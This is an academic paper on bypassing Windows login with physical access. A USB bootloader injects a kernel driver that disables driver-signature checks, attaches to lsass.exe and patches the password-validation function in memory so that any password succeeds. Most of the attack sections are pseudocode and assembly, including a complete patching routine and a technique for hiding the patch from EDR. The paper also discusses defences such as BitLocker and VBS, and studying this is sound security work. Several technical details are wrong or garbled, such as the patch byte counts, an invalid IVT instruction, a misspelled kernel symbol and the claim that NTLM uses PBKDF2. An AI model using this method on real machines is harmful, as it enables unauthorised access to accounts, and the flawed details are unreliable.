

Runtime Authentication Subversion via Ephemeral Kernel-Mode Patching: A Study of Physical Access Threats in Windows Operating Systems

Atharva Jagtap¹, Prachi Dalvi², Nawal Dandekar³

^{1 2 3}Department of Computer Science and Engineering, Fr. Conceicao Rodrigues College of Engineering, Bandra, India

¹atharvaj365@gmail.com, ²prachi.dalvi@fragnel.edu.in, ³nawal.dandekar@fragnel.edu.in

Keywords: Windows Kernel, Authentication Bypass, Physical Access, Ephemeral Patching, Forensics.

Abstract

The concept of "if an attacker has physical access to a box it's game over" is becoming less and less valid in today's computer systems. The pace of technological change is too fast for us to ignore this principle now. This paper investigates specific aspects of Windows firmware and kernel at the local layer, and presents our method in exploiting the transfer from USB booting to running system. This is in contrast to the traditional disk based password reset application. This technique plays with volatile memory and all done without touching a hard disk, nor leaving traces that can be identified from forensics. This is on top of full-disk encryption and virtualization-based security, which are the two most notable measures against commercially available recovery tools and analyzes their relationship with the Windows security model. We demonstrate that the software-to-hardware security boundary is highly asymmetric without hardware-enforced encryption or isolation mechanisms. Consequently, physical access to a system that is powered on or recently shut down renders software capable of providing only a limited security layer.

1 Introduction

1.1 The Illusion of Software Boundaries

To safeguard user credentials, isolate processes, and enforce privilege boundaries, modern operating systems build complex security architectures. Windows OS employs several security layers:

- **User-Mode Isolation:** Each process operates in its own virtual address space.
- **Kernel-Mode Privilege Separation:** Only the kernel can directly manipulate hardware.
- **Driver Signature Enforcement (DSE):** All kernel drivers must be digitally signed.
- **Kernel Patch Protection (PatchGuard):** Critical kernel structures are periodically verified against tampering.
- **Code Integrity Measurement Architecture (CIMA):** Prevents unsigned code execution in the kernel.

Traditionally, these protections have been provided through software executing on hardware of which the protector does not have direct control. This sets up a basic asymmetry: defender assumes that the hardware is correct and good user data can go in, while an attacker with physical rooting through anything not soldered down can replace or reprogram the hardware without undue difficulty.

The IBM PC design, which was introduced in the early 1980's and on which modern x86/x64 systems are still based, has a specific system attribute: its firmware (UEFI/BIOS) is executed before the operating system starts and enjoys full control over hardware resources. Consequently, a malicious bootloader can:

1. Alter the kernel image before it is loaded into memory.

2. Embed privileged code that persists within the running system.
3. Bypass security mechanisms at runtime to execute arbitrary operations.
4. Establish a permanent Ring 0 environment for credential subversion.

This paper identifies this as a singular, tangible vulnerability where physical access leads directly to logical compromise, particularly in the absence of hardware-based encryption.

1.2 Threat Model & Scope

1.2.1 Attacker Profile: The attacker has physical access to the target system and can boot in some manner (USB, CD, network, or whatever) from a something other than the hard disk. After the machine has started, no legitimate credentials or user intervention are necessary.

1.2.2 Target Systems: The scope includes Windows 7 through Windows 11. Specifically, the attack targets systems without Full Disk Encryption (BitLocker) and those without Virtualization-Based Security (VBS) enabled. Both UEFI and legacy BIOS systems are considered.

1.2.3 Limitations: The attack is transitive (wiped on reboot) and does not work if the system drive is encrypted or VBS/Credential Guard are securing memory. Moreover, attacking it also requires breaking the regular boot flow.

1.2.4 Attack Duration: LSASS patching occurs in under 100ms. The patch persists until a system reboot, with zero forensic visibility as all modifications occur strictly in RAM.

1.3 Organization of This Paper

This paper progresses from architectural analysis to implementation details and real-world deployment:

- **Section 2:** Detailed technical methodology covering each attack phase.
- **Section 3:** Assembly-level exploitation mechanics.
- **Section 4:** Commercial implementations and forensic evidence.
- **Section 5:** Defense mechanisms and their limitations.
- **Section 6:** Synthesis and implications for system security.

2 Technical Architecture: The Four-Phase Attack Pipeline

The attack is organized as a purposefully ordered pipeline, featuring section which gives rise to the next. This structure takes advantage of a number of architectural assumptions that are part of the Windows operating system. Why and how each stage was created helps to see the threat boundaries to physical access that are undermined.

2.1 Phase One: Bootloader Interception (Pre-OS Execution)

2.1.1 The Critical Vulnerability: Trust in the Boot Sequence:

The underlying vulnerability targeted by this stage is the logical fallacy of the “chicken-and-egg” conundrum in security - without having already loaded it, a system can not attest to its own bootloader. Though UEFI’s Secure Boot is meant to help address this by anchoring keys in firmware, an attacker with control over the firmware or the foundation boot medium can subvert this protection.

Before the Windows Kernel (`ntoskrnl.exe`) executes a single instruction, the firmware has already executed millions of instructions with unrestricted hardware access. Consequently, any data written into memory by a malicious bootloader is implicitly trusted by the kernel. This is not a software defect, but an unavoidable consequence of the boot sequence architecture.

2.1.2 UEFI Exploitation: ExitBootServices Hook: On modern UEFI systems, the attack proceeds as follows:

Step 1: Boot Media Replacement. The attacker utilizes bootable external media (USB or optical drive) containing a malicious EFI application. Control is seized before the hard drive is accessed.

Step 2: The ExitBootServices Callback Hook. The bootloader must register a callback function to execute during the firmware-to-OS transition. The Windows Boot Manager (`bootmgr.efi`) utilizes this mechanism to perform final initialization.

Listing 1: UEFI ExitBootServices Hook Pseudocode

```
1 EFI_STATUS Status = gBS->CreateEvent(  
2     EVT_SIGNAL_EXIT_BOOT_SERVICES,  
3     TPL_HIGH_LEVEL,  
4     ExitBootServicesCallbackHook,  
5     NULL,  
6     &ExitBootServicesEvent  
7 );
```

UEFI boot services are designed to be invoked by any legitimate EFI application. There is no authentication mechanism to verify the registrant of the callback; the firmware executes all registered callbacks in sequence.

Step 3: Payload Allocation in Persistent Memory. Inside the callback hook, before control transfers to the OS, the malicious code allocates memory that will survive the OS loader.

Listing 2: Payload Allocation Strategy

```
1 // Inside ExitBootServicesCallbackHook  
2 EFI_PHYSICAL_ADDRESS PayloadAddr = 0x200000;  
3 gBS->AllocatePages(  
4     AllocateAddress,  
5     EfiRuntimeServicesData, // Preserved memory  
6     PayloadSize,  
7     &PayloadAddr  
8 );  
9 memcpy((void*)PayloadAddr, MaliciousDriver,  
        PayloadSize);
```

The memory type `EfiRuntimeServicesData` is specifically designed to persist beyond the firmware-to-OS transition. By storing the malicious driver here, the payload survives into the running kernel environment.

2.1.3 Legacy BIOS Exploitation: Int 13h Interception: On legacy systems, the same objective is achieved via Master Boot Record (MBR) modification and interrupt hooking.

Step 1: MBR Modification. The attacker replaces the MBR on the system drive. This code executes with full hardware access before the OS.

Step 2: BIOS Interrupt Vector Table (IVT) Hooking. The malicious MBR hooks Interrupt 13h (Disk Services):

Listing 3: Int 13h Hook Installation

```
1 mov al, 0x13 ; Interrupt 13h (disk services)  
2 mov [IVT + al*4], es:di ; Point IVT to hook
```

Step 3: On-the-Fly Patching. As the kernel loader is read from disk, the hook intercepts the read operations, identifies the kernel loader header, and appends the shellcode. This on-the-fly patching ensures that the attack is volatile and no persistent file modifications occur.

2.2 Phase Two: Kernel Payload Injection & Defense Neutralization

Once the malicious driver is resident in memory with Ring 0 privileges, it must neutralize kernel-level security mechanisms.

2.2.1 Driver Signature Enforcement (DSE): ci.dll Bypass: Windows `ci.dll` (Code Integrity) ensures that every kernel-mode driver is digitally signed. This check is governed by the global variable `g_CiOptions`.

Table 1: `g_CiOptions` Flag Definitions

Flag Bit	Meaning
0x00000001	Enable CODEINTEGRITY checks
0x00000002	Enable DRIVER_SIGNING checks
0x00000004	TEST-SIGNING mode
0x00000008	Reserved

By clearing the specific bits shown in Table 1, the driver can operate in an environment where DSE is effectively disabled.

Listing 4: DSE Bypass via `g_CiOptions`

```
1 PULONG g_CiOptions = FindExport("ci.dll", "  
    g_CiOptions");
```

```

2 // Clear DSE flags
3 *g_CiOptions &= ~(0x00000001 | 0x00000002);

```

This vulnerability is a consequence of the trust model: the kernel trusts code executing in Ring 0, assuming it was vetted by the boot chain.

2.2.2 Kernel Patch Protection (PatchGuard/KPP): Timing Exploitation: PatchGuard periodically verifies critical kernel structures such as the Interrupt Descriptor Table (IDT) and System Service Dispatch Table (SSDT). However, it has a limited initialization window.

Strategy 1: Execution During Initialization Blackout. The payload executes modifications during `KiSystemStartup` before `KiInitializeBootProcessor` completes.

Listing 5: Kernel Boot Timing Window

```

1 KiSystemStartup:
2 ...
3 call KiInitializeBootProcessor
4 ; PatchGuard not yet active here
5 ...

```

Strategy 2: Process-Specific Modifications. Rather than modifying kernel-wide structures, the attack modifies memory within the `lsass.exe` user-mode process. PatchGuard focuses on the kernel image integrity and does not aggressively monitor individual process memory spaces due to performance overhead.

2.2.3 Alternative: Silent Execution Without Modifications: The most sophisticated variant avoids modifying kernel structures entirely. The malicious driver injects itself directly into LSASS memory and hooks functions internally. Since no monitored kernel structures are altered, PatchGuard is not triggered.

3 Memory Exploitation: The Technical Heart of the Attack

3.1 Process Location via EPROCESS Traversal

The kernel maintains information for all active processes within `EPROCESS` structures, which are organized in a doubly-linked circular list. To target the Local Security Authority Subsystem Service (`lsass.exe`), the malicious driver must traverse this list.

3.1.1 Step 1: Locate the Initial System Process: The kernel exports a symbol `PsiInitialSystemProcess` that points to the initial system process (PID 4).

Listing 6: Locating System Process

```

1 // Kernel driver finding System process
2 extern PEPROCESS PsiInitialSystemProcess;
3 PEPROCESS SystemProc = PsiInitialSystemProcess;

```

3.1.2 Step 2: Traverse the Process List: Starting from the System process, the driver iterates through the circular linked list via `ActiveProcessLinks`.

Listing 7: EPROCESS Traversal Algorithm

```

1 PEPROCESS CurrentProc = SystemProc;
2 do {
3     // Offset varies by Windows version (approx 0
4     // x450)
5     PCHAR ImageName = (PCHAR)((PUCHAR)CurrentProc
6     + ProcessNameOffset);

```

```

5
6 // Compare against target
7 if (strcmp(ImageName, "lsass.exe") == 0) {
8     TargetProcess = CurrentProc;
9     break;
10 }
11
12 // Move to next process
13 CurrentProc = (PEPROCESS)((PUCHAR)CurrentProc
14 + ListOffset);
15 } while (CurrentProc != SystemProc);

```

3.1.3 Step 3: Extract Process Handle & PID: Once the `EPROCESS` structure is identified, the Process ID is extracted for verification.

```

1 HANDLE LsassPID = PsGetProcessId(TargetProcess);

```

3.2 Context Switching: Accessing Another Process' Memory

This phase constitutes the core mechanism of the attack. By default, a kernel driver operates within its own memory context (or the context of the calling process) and cannot directly access the virtual memory of an arbitrary process.

3.2.1 The Problem: Virtual Address Space Isolation: Modern operating systems isolate processes by assigning each a unique virtual address space. Virtual addresses are translated to physical addresses via page tables, the base address of which is stored in the CR3 register (Page Directory Base Register).

When a context switch occurs, the CPU updates CR3 to point to the new process's page tables. Without altering CR3, the driver cannot resolve virtual addresses belonging to `lsass.exe`.

3.2.2 The Solution: KeStackAttachProcess: Windows provides the `KeStackAttachProcess` API (or `KeAttachProcess` on legacy systems) to facilitate inter-process memory access.

Listing 8: Attaching to Target Address Space

```

1 KAPC_STATE ApcState;
2 KeStackAttachProcess(TargetProcess, &ApcState);
3 {
4     // Now executing in LSASS' address space
5     // Virtual addresses resolve to LSASS'
6     // physical memory
7     // Read/Write operations are now valid
8 }
9 KeUnstackDetachProcess(&ApcState);

```

Internally, this API performs the critical hardware context switch:

Listing 9: Internal Mechanics of Attachment

```

1 mov rax, [rcx + EPROCESS.DirTableBase] ; Get page
2 mov cr3, rax ; Switch page table (context switch)

```

This approach utilizes legitimate kernel mechanisms intended for debugging and profiling, thereby avoiding heuristic detection associated with manual CR3 manipulation.

3.2.3 Reading the Target Process' Module List: Once attached to the `lsass.exe` address space, the driver parses the Process Environment Block (PEB) to locate the authentication library, `msv1_0.dll`.

Listing 10: PEB Module List Traversal

```

1 PPEB Peb = PsGetProcessPeb(TargetProcess);
2 PLIST_ENTRY ModuleListHead = &Peb->Ldr->
  InLoadOrderModuleList;
3 PLIST_ENTRY CurrentEntry = ModuleListHead->Flink;
4
5 while (CurrentEntry != ModuleListHead) {
6     PLDR_DATA_TABLE_ENTRY Entry =
7         CONTAINING_RECORD(
8             CurrentEntry,
9             LDR_DATA_TABLE_ENTRY,
10            InLoadOrderLinks
11        );
12     WCHAR* DllName = Entry->BaseDllName.Buffer;
13
14     if (wcscmp(DllName, L"msv1_0.dll") == 0) {
15         PVOID DllBase = Entry->DllBase;
16         break;
17     }
18     CurrentEntry = CurrentEntry->Flink;
19 }

```

4 The Logic Subversion: Inline Hooking of Authentication Functions

The final phase involves the actual authentication subversion, where abstract system concepts translate into concrete assembly language modifications.

4.1 Understanding NTLM Password Validation

NTLM (NT LAN Manager) remains a primary local authentication mechanism in Windows. The validation process involves:

1. **Hashing:** The plaintext password is hashed using MD4 (or PBKDF2 on modern iterations).
2. **Comparison:** The computed hash is compared against the stored hash in the SAM database.
3. **Status Return:** The function returns a status code: Success (0x00000000) or Failure (0xC000006A).

The target function, `msv1_0.dll!MsvpPasswordValidate`, follows this general logic structure:

Listing 11: MsvpPasswordValidate Logic

```

1 NTSTATUS MsvpPasswordValidate(
2     WCHAR* ProvidedPassword,
3     WCHAR* StoredPasswordHash
4 ) {
5     // Hash the provided password
6     MD4Hash(ProvidedPassword, &ComputedHash);
7
8     // Compare hashes
9     if (memcmp(&ComputedHash, &StoredPasswordHash,
10        16) == 0) {
11         return STATUS_SUCCESS; // 0x0
12     } else {
13         return STATUS_WRONG_PASSWORD; // 0
14         xC000006A
15     }
16 }

```

4.2 Signature Scanning: Version-Independent Hooking

Windows versions differ in memory layout, stack frame sizes, and compiler optimizations. Hardcoding offsets is therefore unreliable. Instead, the driver employs opcode signature scanning.

Example Signature. The driver scans for a byte sequence unique to the MD4 hash computation routine within `MsvpPasswordValidate`:

Listing 12: Opcode Signature

```

1 48 8D 15 ?? ?? ?? ?? ; lea rdx, [rel String]
2 48 C1 E9 03          ; shr rcx, 3
3 F3 A4                ; rep movsb

```

Once the pattern is located, the function's base address is calculated relative to the match.

4.3 The Patch: Assembly-Level Logic Inversion

The most efficient patch replaces the function's comparison logic with a forced success return. This requires overwriting exactly 6 bytes to maintain instruction alignment.

Listing 13: Assembly Patch Strategy

```

1 ; Original comparison instruction (6 bytes)
2 48 3B C1 ; cmp rax, rcx (compare hash)
3 75 05    ; jnz $+7 (jump if not equal)
4 33 C0    ; xor eax, eax (set SUCCESS)
5
6 ; The Malicious Patch (6 bytes)
7 31 C0    ; xor eax, eax (set eax to 0 = SUCCESS)
8 C3       ; ret (return immediately)

```

Logic:

- XOR EAX, EAX: Sets the return register to 0 (STATUS.SUCCESS).
- RET: Forces an immediate return to the caller, bypassing the actual hash comparison entirely.

4.4 Detour/Trampoline Hooking (Alternative)

A more sophisticated approach employs a detour hook, which jumps to a separate shellcode block rather than overwriting logic in place.

Listing 14: Detour Hooking

```

1 ; Original instruction
2 48 8D 15 01 00 00 00 ; lea rdx, [rel ...]
3
4 ; Patch (Jump to shellcode)
5 E9 00 01 00 00      ; jmp 0x100
6 90                  ; nop (padding)

```

4.5 The Complete Memory Patch Operation

The following function demonstrates the end-to-end execution of the patch within the kernel driver context.

Listing 15: Complete Patching Routine

```

1 NTSTATUS PatchMsvpPasswordValidate(PEPROCESS Lsass
2 ) {
3     KAPC_STATE ApcState;
4     // 1. Attach to LSASS address space
5     KeStackAttachProcess(Lsass, &ApcState);
6     {
7         // 2. Find msv1_0.dll base
8         PVOID Msv1_0Base = FindModuleBase(L"msv1_0
9         .dll");
10
11        // 3. Signature scan
12        PVOID FuncAddr = ScanForSignature(
13            Msv1_0Base,
14            0x100000,

```

```

13         SigBytes,
14         SigSize
15     );
16
17     // 4. Disable memory protection (COW)
18     LARGE_INTEGER OldProtect;
19     SIZE_T RegionSize = 6;
20     ZwProtectVirtualMemory(
21         NtCurrentProcess(),
22         &FuncAddr,
23         &RegionSize,
24         PAGE_EXECUTE_READWRITE,
25         &OldProtect
26     );
27
28     // 5. Apply Inline patch
29     // xor eax, eax; ret
30     UCHAR Patch[] = { 0x31, 0xC0, 0xC3 };
31     memcpy(FuncAddr, Patch, sizeof(Patch));
32
33     // 6. Restore protection & Flush Cache
34     ZwProtectVirtualMemory(..., OldProtect...)
35     ;
36     ZwFlushInstructionCache(NtCurrentProcess()
37         , NULL, 0);
38 }
39 KeUnstackDetachProcess(&ApcState);
40 return STATUS_SUCCESS;
41 }

```

5 Post-Exploitation: The Authentication Bypass in Action

5.1 The Attack Sequence

Once the patch is successfully applied within the kernel memory, the attack sequence proceeds as follows:

1. The user boots the system normally. The malicious boot-loader is no longer active in the execution chain.
2. The operating system kernel loads.
3. The user reaches the Windows Logon screen.
4. The user enters an arbitrary password (or a blank string).
5. LSASS invokes `msv1_0.dll!MsvpPasswordValidate`.
6. The patched function immediately returns `0x00000000 (STATUS_SUCCESS)`.
7. Access is granted, and the user is logged in with the privileges associated with the target account.

5.2 Why This Works: The Fundamental Vulnerability

The attack succeeds due to a core architectural assumption in the Windows security model: *“If code is executing in the kernel (Ring 0), it must have been validated through the boot chain. Therefore, any code or modifications made by Ring 0 code are trustworthy.”*

By introducing malicious Ring 0 code before this assumption takes effect (via bootloader injection), the attacker violates the premise of the trust model, effectively rendering subsequent checks irrelevant.

5.3 Volatility: The Double-Edged Sword

The attack is inherently volatile, as all modifications exist solely in Random Access Memory (RAM).

Advantages for the Attacker:

- **Zero Forensic Artifacts:** No files on the disk are modified.
- **Integrity Check Evasion:** The system appears uncompromised to file-system integrity checkers (e.g., SFC).

Disadvantage: The access is temporary and is lost upon reboot. However, in a Red Team scenario, temporary access is sufficient to extract sensitive data, dump active credentials from memory, or install persistent backdoors using legitimate system utilities.

6 Commercial Implementations: Theory Meets Practice

It is not all theoretical; this method is in the vows of many a data recovery software. Observing these implementations confirms the above analysis.

6.1 PCUnlocker: UEFI ExitBootServices Implementation

Overview: The PCUnlocker commercial product follows the approach of Section 2.1.2. It works through injecting code to the boot loader to alter the kernel in memory [4, 44].

Implementation Details:

- **PE Environment:** It utilizes a Windows PE (Preinstallation Environment) boot image containing the exploit code.
- **Callback Registration:** An `ExitBootServices` callback is registered during the early boot phase.
- **Payload Storage:** The payload is allocated in `EfiRuntimeServicesData` memory to survive OS loading.
- **Kernel Patching:** An unsigned driver is loaded, which performs signature-based function location and patching.

Modes of Operation:

1. **Bypass Mode:** Operates via in-memory patching (volatile), leaving no trace on the SAM database.
2. **Reset Mode:** Operates offline to modify the SAM database file directly (permanent).

6.2 Kon-Boot: Silent Patching & EDR Evasion

Overview: Kon-Boot uses advanced stealth techniques such as hidden kernel patching technique to bypass Endpoint Detection and Response (EDR) solutions [45].

Implementation Details: It primarily utilizes the Legacy BIOS Int 13h hooking method (Section 2.1.3) to achieve low-impact kernel injection.

Key Innovation: Silent Patching. Kon-Boot restores the original code bytes immediately after a successful login. This reduces the window of exposure where the patch is visible to memory scanners.

Listing 16: Silent Patching Mechanism

```

1 // After successful login detection

```



```

2 memcpy(FunctionAddr, OriginalBytes, OriginalSize);
3 // Restore original code
4 ZwFlushInstructionCache(...);
5 // The function now appears unpatched to analysis

```

Effectiveness: Most behavioral detection systems monitor for functions called with unexpected parameters or return values. By restoring the original code immediately after the login succeeds, the patched function no longer appears anomalous during post-boot analysis.

7 Defensive Mechanisms & Their Limitations

The attack methodology described relies on specific pre-conditions. When these conditions are unmet, the attack fails. Understanding these defenses is critical to defining the attack's scope.

7.1 Full Disk Encryption (BitLocker)

Mechanism: Full Disk Encryption (FDE) encrypts the storage volume at rest. **Effectiveness:** If the system drive is encrypted, the malicious bootloader cannot read the kernel binary (`ntoskrnl.exe`) or `winload.efi`. Without reading these files, the bootloader cannot calculate the necessary offsets to inject the payload [7, 23].

Failure Mode: The attack fails at Phase I/II because the bootloader cannot inject the payload or patch the kernel.

Limitations:

- Encryption must be enabled before the attack occurs (RAM is not encrypted).
- Vulnerable to Cold Boot attacks which extract keys from RAM.
- TPM sniffing or bypasses may compromise the key release.

7.2 Virtualization-Based Security (VBS)

Mechanism: VBS utilizes the CPU's hardware virtualization extensions to create a secure, isolated memory region known as Virtual Trust Level 1 (VTL 1). The standard kernel runs in VTL 0, while the Local Security Authority (LSA) runs in the isolated VTL 1 (Credential Guard) [21–23].

Effectiveness: The attack fails because the `KeStackAttachProcess` API switches page tables within VTL 0. The hypervisor enforces hardware-level isolation, preventing VTL 0 code (even with Ring 0 privileges) from writing to VTL 1 memory.

Failure Mode: The bootloader and kernel injection succeed, but the memory write operations to patch `lsass.exe` are blocked by the hardware.

7.3 Kernel Patch Protection (PatchGuard)

Mechanism: PatchGuard (KPP) periodically checks critical kernel structures for unauthorized modification.

Effectiveness: As discussed in Section 2.2.2, PatchGuard is primarily a detection mechanism with a delayed initialization. It does not prevent modification but rather triggers a system crash (BSOD) if tampering is detected later.

Limitation: By targeting user-mode process memory (`lsass.exe`) rather than global kernel structures (IDT/SSDT), the attack often falls outside PatchGuard's monitoring scope [7, 8].

7.4 Secure Boot

Mechanism: UEFI Secure Boot verifies the digital signature of the bootloader against a whitelist of authorized keys (Microsoft KEK/DB) before execution.

Limitation: While effective against software-based rootkits, it is insufficient against physical access. A determined attacker can disable Secure Boot in the BIOS settings or, in some cases, reflash the SPI chip physically to bypass the check [1].

8 Discussion: Physical Access as an Authentication Factor

8.1 The Asymmetry of Security Boundaries

This study has established a primary theory: Software Security is inferior to Physical Access. This is not a problem with particular version of OS, but it's the one that we get with PC architecture. It can be seen from Table, that once an attacker penetrates each level, the security protection possessed by previous layer will not help even if the upper layer have.

Table 2: The Asymmetry of System Defense

Component	Protected By	Weakened By
BIOS/UEFI	Signed Update	Physical Reflashing
Bootloader	Secure Boot	Firmware Access
Kernel	Driver Signing	Pre-kernel Injection
LSASS	PPL / Kernel	Ring 0 Injection
Credentials	OS Hashing	Memory Access
VBS	Hypervisor	SMM Manipulation

8.2 Why Persistent Encryption is the Solution

The persistence form of encryption that remains after someone has physical access is hardware-backed persistent encryption:

- **BitLocker (FDE):** Prevents the bootloader from reading the kernel files required to calculate injection offsets.
- **TPM:** Prevents easy extraction of the encryption keys, bus sniffing is not blocked.

However, even these have limitations, such as Cold Boot attacks (extracting keys from RAM before they fade) or Side-Channel attacks. The key point to take away is that encryption in storage is the only way to properly secure from physical access; encryption in RAM alone doesn't cut it.

9 Synthesis & Implications

9.1 Key Findings

This investigation yields five critical findings regarding the Windows security architecture:

1. **Physical-Logical Equivalence:** In systems lacking persistent encryption, physical access is functionally equivalent to logical compromise.
2. **Transitional Vulnerability:** The firmware-to-kernel transition represents a critical vulnerability point where untrusted code can interject itself before the OS security model initializes.

3. **Software Defense Futility:** Software-based protections such as Driver Signature Enforcement (DSE) and PatchGuard are ineffective against Ring 0 code injection, as they rely on a trusted execution environment that the attacker has already subverted.
4. **Monitoring Gaps:** User-mode process memory (e.g., LSASS) is significantly less scrutinized by kernel integrity mechanisms than kernel-mode structures.
5. **Commercial Validation:** The existence and efficacy of commercial password recovery utilities serve as empirical validation of this attack methodology.

9.2 Implications for System Design

For Defenders: Full Disk Encryption (FDE) ought to be a default, not an option. Virtualization-Based Security (VBS) should be used to quarantine credentials in hardware. What's more is that bootloaders should be cryptographically signed and checked, and EDA tools should run on user mode to tap process memory for rogue edits.

For Researchers: The Windows security model functions effectively only under the assumption of trustworthy firmware. The identified vulnerability is architectural, not accidental. Addressing this requires hardware-level trust anchors rather than iterative software patches.

For System Administrators: Without physical security, there is no such thing as logical security. Encryption protects confidentiality of the data stored, whereas Secure Boot (as currently implemented) will not protect credential integrity sufficiently from physical attack. When physical security is breached, all of one's credentials must be assumed to have been compromised.

10 Conclusion

This article takes a critical look at the means by which authentication may be bypassed through deception of kernel-level codepatcher subsystem. They rely on a trust boundary guard in control transfer from firmware to kernel, allowing them to run their own code in the heart of the kernel. All they need is to get their hands on it. Once they're in, hackers can pivot through kernel protections and potentially even reach NTLM password checks. Security researchers have been warning about this for a decade or more, but the issue has not disappeared. Actually, it's still a real threat on modern Windows machines.

Defenses like Secure Boot, PatchGuard, and VBS help somewhat. They add some layers, but none of them close the hole entirely. The reason is simple: these protections all depend on a trusted boot chain. If someone controls the machine physically, that trust crumbles.

This work contributes to the existing literature in several important aspects. First, it has established a step-by-step method that others can follow and learn from. Second, why today's defenses are insufficient given the system's design. Third, it demonstrates how this attack fits in the context of Windows' trust model. And finally, it shows a direct line from those theoretical weaknesses to the kind of tools attackers are using in the real world.

The main takeaway is clear. When it comes to physical access, only cryptography stands up as a real defense. Everything else just slows attackers down.

References

- [1] C. Kallenberg, X. Kovah, J. Butterworth, and S. Cornwell, "Extreme Privilege Escalation on Windows 8 UEFI Systems," *Black Hat USA*, 2014. [Online]. Available: <https://blackhat.com/docs/us-14/materials/us-14-KallenbergExtreme-Privilege-Escalation-On-Windows8-UEFI-Systems.pdf>
- [2] J. Lindsay and G. Hoglund, "Attacking the Windows Kernel," *Black Hat USA*, 2007. [Online]. Available: <https://blackhat.com/presentations/bh-usa07/Lindsay/Whitepaper/bh-usa-07-lindsay-WP.pdf>
- [3] P. Wardle, "The Art of Mac Malware: Crafting Sophisticated Attacks," *Security Summit*, 2015.
- [4] SafeBreach Security Research Team, "A Zero-Restart Kernel Bypass: Exploiting Code Integrity Callback Mechanisms," *Cyber Security Research*, 2025. [Online]. Available: <https://www.linkedin.com/pulse/zero-restart-kernel-bypassexploiting-code-integrity-callback-doli-nt5qe>
- [5] Fortinet FortiGuard Labs, "The Swan Song for Driver Signature Enforcement Tampering," *Fortinet Blog*, 2022. [Online]. Available: <https://www.fortinet.com/blog/threatresearch/driver-signature-enforcement-tampering>
- [6] BleepingComputer Security News, "New Windows Driver Signature Bypass Allows Kernel Rootkit Installs," 2024. [Online]. Available: <https://www.bleepingcomputer.com/news/security/newwindows-driver-signature-bypass-allows-kernel-rootkit-installs/>
- [7] Fortinet Threat Research, "Melting Down PatchGuard: Leveraging KPTI to Bypass Kernel Patch Protection," 2018. [Online]. Available: <https://www.fortinet.com/blog/threatresearch/melting-down-patchguard-leveraging-kpi-to-bypass-kernel-patchprotection>
- [8] Hackyboiz Research Team, "Bypassing Windows Kernel Mitigations: Part 1," 2024. [Online]. Available: <https://hackyboiz.github.io/2024/12/08/10ch/bypassingkernel-mitigation-part1/en/>
- [9] Hackyboiz Research Team, "Bypassing Windows Kernel Mitigations: Part 2," 2025. [Online]. Available: <https://hackyboiz.github.io/2025/01/12/10ch/bypassingkernel-mitigation-part2/en/>
- [10] P. Ciholas, M. Kalisch, and V. Kuncak, "Fast and Furious: Outrunning Windows Kernel Notification Routines from User Mode," *PMC National Center for Biotechnology Information*, 2020. [Online]. Available: <https://pmc.ncbi.nlm.nih.gov/articles/PMC7338165/>
- [11] I. Korkin, "Windows Kernel Hijacking Is Not An Option," *arXiv*, 2021. [Online]. Available: <https://arxiv.org/pdf/2106.06065.pdf>

- [12] SafeBreach Labs, "Process Injection Using Windows Thread Pools: Pool Party Attacks," 2024. [Online]. Available: <https://www.safebreach.com/blog/processinjection-using-windows-thread-pools/>
- [13] Checkpoint Research, "CVE-2025-24054: NTLM Exploit in the Wild," 2025. [Online]. Available: <https://research.checkpoint.com/2025/cve-2025-24054-ntlmexploit-in-the-wild/>
- [14] Cymulate Security, "CVE-2025-50154: Zero Click, One NTLM: Patch Bypass," 2025. [Online]. Available: <https://cymulate.com/blog/zero-click-one-ntlm-microsoft-security-patch-bypass-cve-2025-50154/>
- [15] Unit42 Palo Alto Networks, "Threat Brief: Microsoft Critical Vulnerabilities (CVE-2022-26925)," 2024. [Online]. Available: <https://unit42.paloaltonetworks.com/microsoftcve-2022-26925-etc/>
- [16] MITRE ATT&CK Framework, "OS Credential Dumping: LSASS Memory," 2025. [Online]. Available: <https://attack.mitre.org/techniques/T1003/001/>
- [17] JumpCloud Security, "What is an LSASS Memory Dump?" 2025. [Online]. Available: <https://jumpcloud.com/it-index/what-is-an-lsass-memory-dump>
- [18] Elastic Security, "Credential Acquisition via Registry Hive Dumping," 2024. [Online]. Available: <https://www.elastic.co/guide/en/security/8.19/credentialacquisition-via-registry-hive-dumping.html>
- [19] NCC Group Security Research, "CVE-2021-31956: Exploiting the Windows Kernel (NTFS with WNF)," 2021. [Online]. Available: <https://www.nccgroup.com/researchblog/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/>
- [20] Safe Security, "Windows Win32k Elevation of Privilege Vulnerability," 2023. [Online]. Available: <https://safe.security/wp-content/uploads/windows-win32kelevation-of-privilege-vulnerability.pdf>
- [21] I. Korkin, "MemoryRanger: Protecting Drivers from Kernel Attacks via Hypervisor-Based Monitoring," *arXiv*, 2018. [Online]. Available: <https://arxiv.org/pdf/1812.09920.pdf>
- [22] A. Srivastava, A. Lanzi, and J. C. Mitchell, "Gateway: Monitoring Untrusted Kernel-Mode Execution," *NDSS Symposium*, 2017. [Online]. Available: <https://www.ndss-symposium.org/wp-content/uploads/2017/09/sriv.pdf>
- [23] Microsoft Security Research Center, "Understanding VBS and Credential Guard: Virtualization-Based Security," 2023.
- [24] C. Kalenberg, X. Kovah, and J. Butterworth, "Extreme Privilege Escalation on Windows 8 UEFI Systems: SM-M/Ring 0 Compromise," *Black Hat USA Whitepaper*, 2014. [Online]. Available: <https://blackhat.com/docs/us-14/materials/us14-Kallenberg-Extreme-Privilege-Escalation-On-Windows8-UEFI-SystemsWP.pdf>
- [25] Wiz.io Security Research, "CVE-2025-62215: Windows Kernel Race Condition Impact & Mitigation," 2025. [Online]. Available: <https://www.wiz.io/vulnerabilitydatabase/cve/cve-2025-62215>
- [26] SocPrime Threat Research, "CVE-2025-62215: Microsoft Patches Windows Kernel Zero-Day," 2025. [Online]. Available: <https://socprime.com/blog/latestthreats/cve-2025-62215-windows-kernel-vulnerability/>
- [27] Microsoft Security Blog, "Exploitation of CLFS Zero Day (CVE-2025-29824) Leads to Ransomware Activity," 2025. [Online]. Available: <https://www.microsoft.com/en-us/security/blog/2025/04/08/exploitationof-clfs-zero-day-leads-to-ransomware-activity/>
- [28] C. McGarr, "Token Stealing Payloads Revisited on Windows 10 x64: x64 Kernel Shellcode and SMEP Bypass," 2020. [Online]. Available: <https://connormcgarr.github.io/x64-Kernel-Shellcode-Revisited-and-SMEPBypass/>
- [29] XPNSec Security Research, "Exploiting Windows 10 Kernel Drivers: Stack Overflow," 2018. [Online]. Available: <https://blog.xpnsec.com/hevd-stackoverflow/>
